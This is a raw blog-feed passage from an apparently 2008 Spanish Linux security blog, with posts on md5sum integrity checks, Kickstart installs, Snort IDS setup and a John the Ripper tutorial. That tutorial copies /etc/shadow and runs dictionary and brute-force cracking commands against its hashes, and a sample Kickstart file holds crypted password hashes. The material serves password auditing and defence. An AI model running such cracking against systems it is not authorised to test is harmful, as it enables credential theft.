sumas de comprobación inválido&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;      --help     muestra esta ayuda y finaliza&lt;/p&gt;&lt;p&gt;&lt;br /&gt;      --version  informa de la versión y finaliza&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Las sumas se calculan tal y como se describe en RFC 1321. Al comprobar, la&lt;/p&gt;&lt;p&gt;&lt;br /&gt;entrada debe ser un resultado anterior de llamar a este programa. Por defecto&lt;/p&gt;&lt;p&gt;&lt;br /&gt;se muestra una línea con la suma de comprobación, un carácter indicando el tipo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;de fichero (`*' para binario, ` ' para texto), y el nombre de cada FICHERO.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Comunicar errores a &lt;bug-coreutils@gnu.org&gt;.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;EJEMPLO:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ekxo@victoria:~$  md5sum /etc/passwd &gt; key&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ekxo@victoria:~$ md5sum -c key &lt;/p&gt;&lt;p&gt;&lt;br /&gt;/etc/passwd: La suma coincide&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;si el archivo fuese modificado pues veremos el msj de la ( la suma no coincide asi sabremos si nuestro ficheri ha sido modificado)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-6230685751169010230?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/6230685751169010230/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=6230685751169010230' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6230685751169010230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6230685751169010230'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/integridad-de-los-datos-con-md5sum.html' title=''/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-5790615058520468732</id><published>2008-01-13T19:24:00.000-08:00</published><updated>2008-02-13T13:49:56.252-08:00</updated><title type='text'>John the Ripper password cracker</title><content type='html'>John the Ripper password cracker&lt;br /&gt;&lt;p&gt;HOLA!! Ahora vamos a ver que pex con mas seguridad ahora hacer de los passwords&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;el proyecto esta alijado en este sitio de donde lo podemos bajar necesitamos tener un compilador en este caso uso gcc de gnu&lt;br /&gt;&lt;br /&gt;NOS CLAVAMOS EN EL directorio en el que extrajeron el código fuente de John. Introduzca el "src" ENTRAR EN EL  subdirectorio y compilamos con make para obtener una lista de sistemas operativos para los que existe un apoyo específico:&lt;br /&gt;&lt;br /&gt;cd src&lt;br /&gt;make&lt;br /&gt;&lt;br /&gt;TenEMOS QUE TEnER EN cuenta que el sistema y el tipo en el que vamos a utlizar esta herramienta&lt;br /&gt;&lt;br /&gt;Make clean (SISTEMA) donde sistema es que nosotros elejimos para la instalacion &lt;br /&gt;&lt;br /&gt;Donde el SISTEMA es apropiado DEJARLO EN BLANCO. Alternativamente, si su sistema no aparece en la lista, utiliza:&lt;br /&gt;&lt;br /&gt;Make clean genéricos&lt;br /&gt;&lt;br /&gt;Si todo va bien, esto creará los ejecutables de John y los servicios bajo ".. / run /".&lt;br /&gt;&lt;br /&gt;Cd .. / run&lt;br /&gt;. /John -- test&lt;br /&gt;&lt;br /&gt;para provarlo y listo..&lt;br /&gt;&lt;br /&gt;modo basico de uso!!! seria el siguiente&lt;br /&gt;&lt;br /&gt;root@victoria:/home/ekxo/LINUX/john-1.7.2/run# cp /etc/shadow /home/ekxo/LINUX/john-1.7.2/run/&lt;br /&gt;root@victoria:/home/ekxo/LINUX/john-1.7.2/run# ./john --wordlist:password.lst --rules shadow &lt;br /&gt;Loaded 5 password hashes with 5 different salts (FreeBSD MD5 [32/32 X2])&lt;br /&gt;guesses: 0  time: 0:00:02:44 100%  c/s: 4230  trying: Zhongguing&lt;br /&gt;este seria un ataque por diccionario.&lt;br /&gt;&lt;br /&gt;en modo single seria asi!!&lt;br /&gt;&lt;br /&gt;root@victoria:./john shadow&lt;br /&gt;  &lt;br /&gt;http://www.openwall.com/&lt;br /&gt;&lt;br /&gt;estas son las formas mas basicas de uso pero aqui viene mas detalladas..&lt;br /&gt;http://www.openwall.com/john/doc/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;john the riper  &amp; bastille&lt;br /&gt;la forma de uso es la siguiente va que va!!!&lt;br /&gt;basicamente hay 2 formas de ataque a contraseña por diccionario o incremental ( fuerza bruta )&lt;br /&gt;&lt;br /&gt;wordlist (archivo de palabra) - modo simple&lt;br /&gt;&lt;br /&gt;john wordfile:password.lst /etc/shadow&lt;br /&gt;&lt;br /&gt;john -w:archivo.diccionario -rules /etc/shadow&lt;br /&gt;&lt;br /&gt;*singlecrack – usa informacion del login&lt;br /&gt;&lt;br /&gt;jhon -single /etc/shadow&lt;br /&gt;&lt;br /&gt;*incremental (fuerza bruta)&lt;br /&gt;&lt;br /&gt;john -i /etc/shadow&lt;br /&gt;&lt;br /&gt;jhon -i:Alpha /etc/shadow  (a......z 26 caracteres)&lt;br /&gt;&lt;br /&gt;jhon -i:All /etc/shadow (todo 95 caracteres)&lt;br /&gt;root@victoria:/home/ekxo/john-1.7.2/run# ./john -i:All shadow &lt;br /&gt;Loaded 5 password hashes with 5 different salts (FreeBSD MD5 [32/32])&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;jhon -i:digits (0...9 10 caracteres)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA HAY QUE EVITARLOS PALINDROMOS (PALABRAS QUE SE LEEN IGUAL ALD RECHO O AL REVEZ) en la CREACION DE PASSWORDS&lt;br /&gt;EJEMPLO:&lt;br /&gt;&lt;br /&gt;ANITA LAVA LA TINA&lt;br /&gt;&lt;br /&gt; LIGAS:!!!!!!!&lt;br /&gt;&lt;br /&gt;http://www.openwall.com/john/&lt;br /&gt;**************************************************************************************************&lt;br /&gt; BUENO BASTILLE ES UNA HERRAMIENTA PARA BLINDAR EN OTRO POST HABLAMOS DE ELLA..&lt;br /&gt;PERO LES DEJO LA LIGA..&lt;br /&gt;&lt;br /&gt;http://bastille-linux.sourceforge.net/perl_rpm_chart.htm&lt;br /&gt;&lt;br /&gt;[root@desarrollo src]# yum install perl-Tk &lt;br /&gt;&lt;br /&gt;[root@desarrollo src]# wget &lt;br /&gt;http://prdownloads.sourceforge.net/bastille-linux/Bastille-3.0.9-1.0.noarch.rpm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-5790615058520468732?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/5790615058520468732/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=5790615058520468732' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5790615058520468732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5790615058520468732'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/john-ripper-password-cracker-hola-ahora.html' title='John the Ripper password cracker'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1145258084545008765</id><published>2008-01-12T08:13:00.000-08:00</published><updated>2008-01-23T12:17:09.229-08:00</updated><title type='text'></title><content type='html'>INSTALACION SEGURA DESATENDIDA&lt;br /&gt;&lt;p&gt;Para realizar una instalacion desantendida para RHLE V4 CON KICKSTAR&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Servidor&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;1.Se debe de contar con el servicio instalado por el cual se va a realizar la instalacion desatendida en este caso sera con NFS&lt;/p&gt;&lt;p&gt;&lt;br /&gt;2.Configurar las IP'S al que el servidor le va dar aceso para poder realizar la instalacion desatendida esto se realiza configurando los archivos host.allow y host.deny&lt;/p&gt;&lt;p&gt;&lt;br /&gt;3.En host.allow la configuracion es la siguiente:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;portmap 127.0.0.1,ips's-que-permite-aceso --&gt;&gt; recordar que entre la parte de portmap y las ip's se separa por un tabulador.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;4.En host .deny la configuracion es la siguiente:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;portmap: ip's-que-no-se va permitir-acceso&lt;/p&gt;&lt;p&gt;&lt;br /&gt;portmap:ALL&lt;/p&gt;&lt;p&gt;&lt;br /&gt;5.Montar los cd's de linux RHE V4 en la carpeta en donde se desee&lt;/p&gt;&lt;p&gt;&lt;br /&gt;cp -R /media/cdrecorder/* /path-destino&lt;/p&gt;&lt;p&gt;&lt;br /&gt;6.Reiniciar el servicio nfs&lt;/p&gt;&lt;p&gt;&lt;br /&gt;7.Checar que se tenga bien configurado la red tanto (ip,netmask,gateaway,etc)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;PARA GENERAR EL KICKSTAR&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;1.Realizar un archivo kickstar este lo ubicas en aplicaciones =&gt; herramientas del sistema =&gt; kickstar. Dentro de ese archivo tu ubicaras  lo que vas a instalar en tu pc y sobre todo lo mas importante  sobre que medio lo vas a instalar ,ya sea  CDROM ,NFS,,WEB,FTP.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;2.Dentro del kickstar se encuentra el metodo de instalacion , esta parte es importante que la configures bien por que es donde va  buscar la maquina servidor en la red y por lo mismo los paquetes para la insta lacion.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;3.Guardas el archivo ; por default se guarda como ks.cfg&lt;/p&gt;&lt;p&gt;&lt;br /&gt;4.Este archivo ks.cfg lo copias a un floopy&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;mcopy ks.cfg a:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Para generar el disco booteable &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;1.Debes copiar del disco 1 de la carpeta  /isolinux todos los archivos a la carpeta /tmp/boot (creas un directorio boot )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;2.Cambiar los permisos de todos los archivos de la carpeta de boot:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;chmod 7555 /tmp/boot/*&lt;/p&gt;&lt;p&gt;&lt;br /&gt;3.Configuaras dentro de esa carpeta boot ,el archivo isolinux.cfg con los siguientes parametros&lt;/p&gt;&lt;p&gt;&lt;br /&gt;default ks&lt;/p&gt;&lt;p&gt;&lt;br /&gt;promt 0&lt;/p&gt;&lt;p&gt;&lt;br /&gt;label ks&lt;/p&gt;&lt;p&gt;&lt;br /&gt;kernel vmlinuz&lt;/p&gt;&lt;p&gt;&lt;br /&gt;append ks=cdrom initrd=initrd.img ramdisk_size=8192&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Nota:este archivo contiene mas cosas borralas  y solo deja estas lineas y lo guardas.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;4.Ahora generas el iso de esta forma:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;mkisofs -o /tmp/boot1.iso -b isolinux.bin -c boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -v -T /tmp/boot&lt;/p&gt;&lt;p&gt;&lt;br /&gt;INSTALACION EN MAQUINA CLIENTE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;1.Enciendes La maquina e insertas tanto el cd booteable O el floopy (el floppy ya casi no se usa  asi que sera por medio del cdrom )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;2.empiezas a reconocer  la red y te pide que configures la red de esa maquina.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;NOTA:LACONFIGURACION QUE REALIZASTE   EN LA MAQUINA SERVIDOR &lt;/p&gt;&lt;p&gt;&lt;br /&gt;3.luego corre el instalador  de linux (anaconda) empieza a buscar la maquina servidor y posteriormente  se empieza a generar la instalacion.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BUENO HAY LES VA OTRO TIP&lt;br /&gt;&lt;br /&gt;Instalinux&lt;br /&gt;&lt;br /&gt;Esta es una simple manera fácil de instalar Linux. sEguIMOS los pasos que el Sistema TE INDICA Elegir entre un montón de diferentes versiones y distribuciones de Linux, y software para elegir lo que desee incluir. El producto final será una bastante pequeña imagen ISO (30 MB o menos) que se pueden grabar en un CD y arrancar desde. Se construir automáticamente el sistema para que,BAJE lo que necesita desde el servidor Y SE réplica LOS PAQUETES QUE SE seleccionaRON, en tanto que NOS SENTAMOS A HECHAR LA CHELA..&lt;br /&gt;&lt;br /&gt;PARA GENERAR EL DISCO DESDE LA IMAGEN QUE BAJAMOS &lt;br /&gt;&lt;br /&gt;      cdrecord -scanbus  # tOMAMOS NOTA DEL DISPOSITIVO  &lt;device&gt; (3 DIGITOS)&lt;br /&gt;      cdrecord -dev &lt;device&gt; -v img19271.iso (AQUI VAMOS A PONER EL NOMBRE DE LA IMAGEN QUE BAJAMOS)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BUENO AQUI ESTA LA LIGA:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.instalinux.com/&lt;br /&gt;&lt;br /&gt;CHIDOOOO..&lt;br /&gt;&lt;br /&gt;aqui esta lo que en mi caso contiene el archivo kickstart&lt;br /&gt;&lt;br /&gt;# ks.cfg : Created by Instalinux at Wed Jan 23 11:46:28 PST 2008&lt;br /&gt;# COE-Profile used: Custom&lt;br /&gt;lang en_US&lt;br /&gt;keyboard la-latin1&lt;br /&gt;install&lt;br /&gt;timezone --utc UCT&lt;br /&gt;rootpw --iscrypted gHaHSGFuHgvUg&lt;br /&gt;network --bootproto dhcp --device eth0&lt;br /&gt;url --url http://distro.ibiblio.org/pub/linux/distributions/fedora/linux/releases/7/Fedora/i386/os&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;%packages&lt;br /&gt;@ Administration Tools&lt;br /&gt;@ Legacy Software Development&lt;br /&gt;@ Authoring and Publishing&lt;br /&gt;@ Legacy Software Support&lt;br /&gt;@ Base&lt;br /&gt;@ Clustering&lt;br /&gt;@ Core&lt;br /&gt;@ Network Servers&lt;br /&gt;@ DNS Name Server&lt;br /&gt;@ Development Libraries&lt;br /&gt;@ Development Tools&lt;br /&gt;@ Dial-up Networking Support&lt;br /&gt;@ Editors&lt;br /&gt;@ Server Configuration Tools&lt;br /&gt;@ System Tools&lt;br /&gt;@ GNOME Desktop Environment&lt;br /&gt;@ Text-based Internet&lt;br /&gt;@ GNOME Software Development&lt;br /&gt;@ Virtualization&lt;br /&gt;@ Web Development&lt;br /&gt;@ Graphical Internet&lt;br /&gt;@ Web Server&lt;br /&gt;@ Graphics&lt;br /&gt;@ Window Managers&lt;br /&gt;@ Java&lt;br /&gt;@ Windows File Server&lt;br /&gt;@ Java Development&lt;br /&gt;@ X Software Development&lt;br /&gt;@ KDE (K Desktop Environment)&lt;br /&gt;@ X Window System&lt;br /&gt;@ KDE Software Development&lt;br /&gt;@ XFCE&lt;br /&gt;@ Legacy Network Server&lt;br /&gt;@ XFCE Software Development&lt;br /&gt;%post&lt;br /&gt;&lt;br /&gt;echo "Kickstart-installed Fedora 7 - Instalinux `/bin/date`" &gt; /etc/motd&lt;br /&gt; /usr/sbin/useradd -m -c "jonathan" -p ztzAiVjmnDGIQ ekxo&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1145258084545008765?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1145258084545008765/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1145258084545008765' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1145258084545008765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1145258084545008765'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/instalacion-segura-desatendida-para.html' title=''/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-7837457428505064356</id><published>2008-01-10T21:43:00.000-08:00</published><updated>2008-03-18T15:03:49.499-07:00</updated><title type='text'>Compilar Snort INSTALACION</title><content type='html'>Compilar Snort&lt;br /&gt;Aconsejo leer los archivos README e INSTALL que vienen con el paquete, en ellos se explica detalladamente cualquier tipo de detalle para la compilacion y utilización del programa. Leed tambien el archivo README.database , pues en él se explica paso a paso lo que debemos hacer para configurar Snort contra cualquier base de datos (pgSQL, Oracle, MySQL, etc...).&lt;br /&gt;Aconsejo leer el ./configure --help , en mi caso la compilación ha sido simple. Solamente para especificar la ubicación de la aplicación y dar soporte a la MySQL:&lt;br /&gt;# tar zxvfp snort.tar.gz&lt;br /&gt;# cd snort&lt;br /&gt;# ./configure --prefix=/usr --with-mysql&lt;br /&gt;# make&lt;br /&gt;# make install&lt;br /&gt;En este punto, si leiste la documentación oficial de Snort, veras que dice que (si queremos soporte para MySQL) tenemos que especificar el path hacia donde se encuentran sus librerias... (./configure --with-mysql=/path/to/libs) pero si lo hace así no creo que les funcione. Probramos sin especificar ningun path y seguramente compilara con éxito.&lt;br /&gt;Ahora debe copiar ciertos archivos de configuración que vienen con el paquete, pero que la instalación no copia donde deben ir:&lt;br /&gt;# cp snort.conf /etc/&lt;br /&gt;# mkdir /etc/snort-rules&lt;br /&gt;# cp *.rules /etc/snort-rules&lt;br /&gt;El archivo snort.conf podemos imaginar para que sirve... y lso archivos loquesea.rules son archivos con especificaciones de reglas de Snort, según las cuales ha de logear los paquetes que crucen la red, dando un tipo de aviso en cada caso. Quisiera hacer referencia a la documentación relacionada con las reglas, el Snort Users Manual.&lt;br /&gt;5. Configuración de la MySQL&lt;br /&gt;Para que Snort deje sus logs en la base de datos, primero que crear una nueva base de datos con sus tablas correspondientes, asi como un usuario que SOLO tenga acceso a esa base de datos.&lt;br /&gt;En el punto de los pre-requisitos hemos dejado la MySQL recien instalada y funcionando, ahora hay que añadirle usuarios. El usuario con mas permisos es el “root”, aunque es importante entender que los usuarios del sistema no son los mismos usuarios que los de la MySQL. De modo que desde la cuenta de cualquier usuario del sistema se puede acceder a cualquier cuenta de mysql.&lt;br /&gt;Si tecleamos para empezar el siguiente comando, entraremos directamente en la MySQL con permisos de root (administrador):&lt;br /&gt;# mysql -u root&lt;br /&gt;Lo primero que debemos hacer es establecer una contraseña para el acceso del administrador:&lt;br /&gt;mysql&gt; GRANT ALL PRIVILEGES ON mysql.* TO root@localhost IDENTIFIED BY 'vuestro_password';&lt;br /&gt;No es objetivo de este documento explicar la sintaxis y estructura de MySQL, de modo que me remitiré a puntualizar lo necesario para su utilización con Snort y ACID. De este modo, el siguiente paso es crear una base de datos para Snort:&lt;br /&gt;mysql&gt; CREATE DATABASE snort;&lt;br /&gt;Una vez creada la base de datos de Snort, debemos crear un usuario con todos los permisos sobre esa base de datos, para no tener que utilizar el usuario “root”, ya que esto nos supondría un riesgo innecesario. Crearemos un usuario “snort” y le daremos permisos sobre su base de datos:&lt;br /&gt;mysql&gt; GRANT ALL PRIVILEGES ON snort.* TO snort@localhost IDENTIFIED BY 'password'; &lt;br /&gt;Creada la base de datos y creado el usuario, ya podemos salir de la MySQL y seguir con la configuración. Las tablas de la base de datos que acabamos de crear, serán las tablas que Snort necesite para dejar sus logs según la información contenida en cada tipo de log (más adelante lo configuraremos). Para crearlas debemos simplemente volcar el contenido de un fichero que ya contiene la estructura:&lt;br /&gt;# mysql snort -u root -p &lt; ./contrib/create_mysql ó&lt;br /&gt;mysql -D snort -u root -p &lt; ./schemas/create_mysql&lt;br /&gt;Configuración de Snort&lt;br /&gt;Debemos editar el archivo de configuración que hemos cpiado antes en /etc. Cuando editeis el /etc/snort.conf veras que está muy comentado, y antes de cada opción hay una explicación de varias lineas.&lt;br /&gt;var HOME_NET 192.168.1.0/24&lt;br /&gt;var HOME_NET $eth0_ADDRESS&lt;br /&gt;var HOME_NET [192.168.1.0/24,192.168.10.0/24,172.26.0.0/24]&lt;br /&gt;Primero definimos el rango de direcciones de nuestra red interna. Tenemos tres maneras de hacerlo... La primera define un rango de ip's, la segunda define el rango de ip's del cual forma parte la ip que tiene la tarjeta de red en el momento de lanzar Snort, y la tercera especifica varios rangos de ip's (si tenemos subredes, por ejemplo).&lt;br /&gt;De este mismo modo definimos ciertas máquinas importantes de nuestra red:&lt;br /&gt;var SMTP 192.168.1.10&lt;br /&gt;var HTTP_SERVERS [192.168.1.10,192.168.1.20]&lt;br /&gt;var SQL_SERVERS [192.168.1.10,192.168.1.20]&lt;br /&gt;var LOCAL_HOSTS [192.168.1.1,192.168.1.100,192.168.1.110,192.168.1.254]&lt;br /&gt;Y también definimos la red externa (Internet por ejemplo):&lt;br /&gt;var EXTERNAL_NET any&lt;br /&gt;A partir de aquí, debemos definir los preprocesadores. Esto es, plug-ins o partes del programa que definen una manera de esnifar los paquetes y detectar un mal funcionamiento o un tipo de ataque. Los preprocesadores estan sobradamente comentados y explicados antes de cada linea de código, por lo que no pienso explicar lo que hace cada uno, solo debemos leer su descripción y activarlo si lo queremos. Simplemente debemos saber que la manera de declarar cada preprocesador es la siguiente:&lt;br /&gt;preprocessor nombre: argumento1,argumento2,argumento3,argumento4&lt;br /&gt;Cabe destacar un preprocesador especial, SPADE (Statistical Package Anomaly Detection Engine), que estudia el tráfico en las máquinas que nosotros le especifiquemos, y a partir de ese estudio saca conclusiones de lo que es un paquete anómalo y lo que no lo es. Es decir, la probabilidad de que un paquete se dirija a la dirección IP 10.10.10.10, al puerto 8080, es de un 10%.... mientras que la probabilidad de que un paquete se dirija a esa misma IP al puerto 8079 es de un 0,1 %.  El grado de anomalía de un paquete se mide según la siguiente fórmula:&lt;br /&gt;A(X) = -Log2(P(X))&lt;br /&gt;Por lo que el grado de anomalía de 10.10.10.10:8080 es de 3.32 (casi no es anómalo), mientras que para 10.10.10.10:8079 es de 9.97 (muy anómalo).&lt;br /&gt;Para entender mejor el funcionamiento del SPADE, recomiendo leer el fichero README.Spade. La configuración de SPADE se realiza tambien en el fichero snort.conf, con el resto de los preprocesadores.&lt;br /&gt;Por último, deberemos configurar los Output Plugins, que definen a donde tienen que ir a parar los logs que Snort genera. Deciden si van a ficheros de texto (logs) o a una base de datos, y decide tambien en que formato iran escritos (binario, texto plano, xml...). Como nos interesa poder acceder a los datos desde ACID y éste está escrito en PHP, diremos que guarde la salida en la base de datos MySQL:&lt;br /&gt;output database: log, mysql, user=snort dbname=snort password=foo host=localhost&lt;br /&gt;Aparte de eso, si queremos podemos especificar que tambien guarde los logs en otros formatos y/o localizaciones (syslog, por ejemplo). Leer la documentación escrita en el mismo snort.conf para decidir el formato  y el lugar de almacenamiento de los logs.&lt;br /&gt;Finalmente, podemos ponernos a escribir reglas de logging pero para eso recomiendo que leamos Snort Users Manual, pues lo explica MUY detenidamente y muy bien. Snort tiene ya diversos archivos con reglas escritas, que para empezar ya estan bien. Las añadir al final del snort.conf , y tener que especificarle la ruta... es decir, si las tienes en /etc/snort-rules (por ejemplo) pues deberas especificar esa ruta antes de cada fichero de reglas. Es MUY recomendable mirarse los ficheros de reglas antes de incluirlos, puesto que las reglas por defecto son muy restrictivas, y logean TODO (hasta los echo-request y echo-reply de los pings) por lo que si lo dejas tal cual, es posible que en una semana te  hayas quedado sin un solo Mb libre en tu disco duro. Deberas leer los ficheros de reglas, y comentar aquellas reglas que creais mas restrictivas, o las que menos te preocupen... es decir, si sabeis que vuestro hermano (como ocurrió en mi caso) utiliza “Msn Messenger” puedes comentar la regla que lo logea en el archivo policy.rules, pues sabes de sobras que esos paquetes no son raros ni malos para vuestra red. Lo mismo con cada servicio que ofrezcas... simplemente deberas logear aquellos tipos de paquetes que concuerden con ataques, o intentos de intrusion (si miras los archivos de reglas en seguida veras a lo que me refiero), por ejemplo buffer overflows en los servicios, intentos de FTP como root,  login erroneo por telnet, etc.... Quiza al principio se  escape un poco de las manos, y veras que nuestro Snort tiene muchas reglas y no sabras diferenciar las que son buenas de las que son malas... no pasa nada. Simplemente deja que Snort logee, y a medida que vaya pasando el tiempo iras viendo cuales son las cosas que hacen que nuestra base de datos crezca de un modo exagerado, entonces vas a los archivos de reglas, y comenta la regla que logea eso que no quieres que logee.&lt;br /&gt;Bien, pero... y eso de que logee??? pues bien, vamos a lanzar nuestro Snort!!! Obviamente lo primero que debeis hacer es lo siguiente:&lt;br /&gt;# snort --help&lt;br /&gt;Yo lo lanzo del siguiente modo:&lt;br /&gt;# snort -dev -l /var/log/snort -h 192.168.1.0/24 -c /etc/snort.conf &amp;&lt;br /&gt;El argumento '-l' define el directorio donde se deben guardar los logs en formato de texto plano o binario. Para ello tendreis que haber configurado el tipo de salida correspondiente, aparte de la base de datos. Tambien puedes olvidar el archivo de los logs, no definir nada y simplemente logear en la MySQL, eso va segun los gustos de cada uno.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-7837457428505064356?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/7837457428505064356/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=7837457428505064356' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7837457428505064356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7837457428505064356'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/compilar-snort.html' title='Compilar Snort INSTALACION'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-7690878035965392465</id><published>2008-01-10T21:42:00.000-08:00</published><updated>2008-01-10T21:43:24.986-08:00</updated><title type='text'>IDS y Snort</title><content type='html'>Un IDS es una herramienta de seguridad que intenta detectar o monitorizar los eventos ocurridos en un determinado sistema informático en busca de intentos de comprometer la seguridad de dicho sistema.&lt;br /&gt;Breve introducción a los sistemas IDS y Snort&lt;br /&gt;&lt;br /&gt;Un IDS o Sistema de Detección de Intrusiones es una herramienta de seguridad que intenta detectar o monitorizar los eventos ocurridos en un determinado sistema informático o red informática en busca de intentos de comprometer la seguridad de dicho sistema. &lt;br /&gt;&lt;br /&gt;• Los IDS buscan patrones previamente definidos que impliquen cualquier tipo de actividad sospechosa o maliciosa sobre nuestra red o host. &lt;br /&gt;&lt;br /&gt;• Los IDS aportan a nuestra seguridad una capacidad de prevención y de alerta anticipada ante cualquier actividad sospechosa. No están diseñados para detener un ataque, aunque sí pueden generar ciertos tipos de respuesta ante éstos. &lt;br 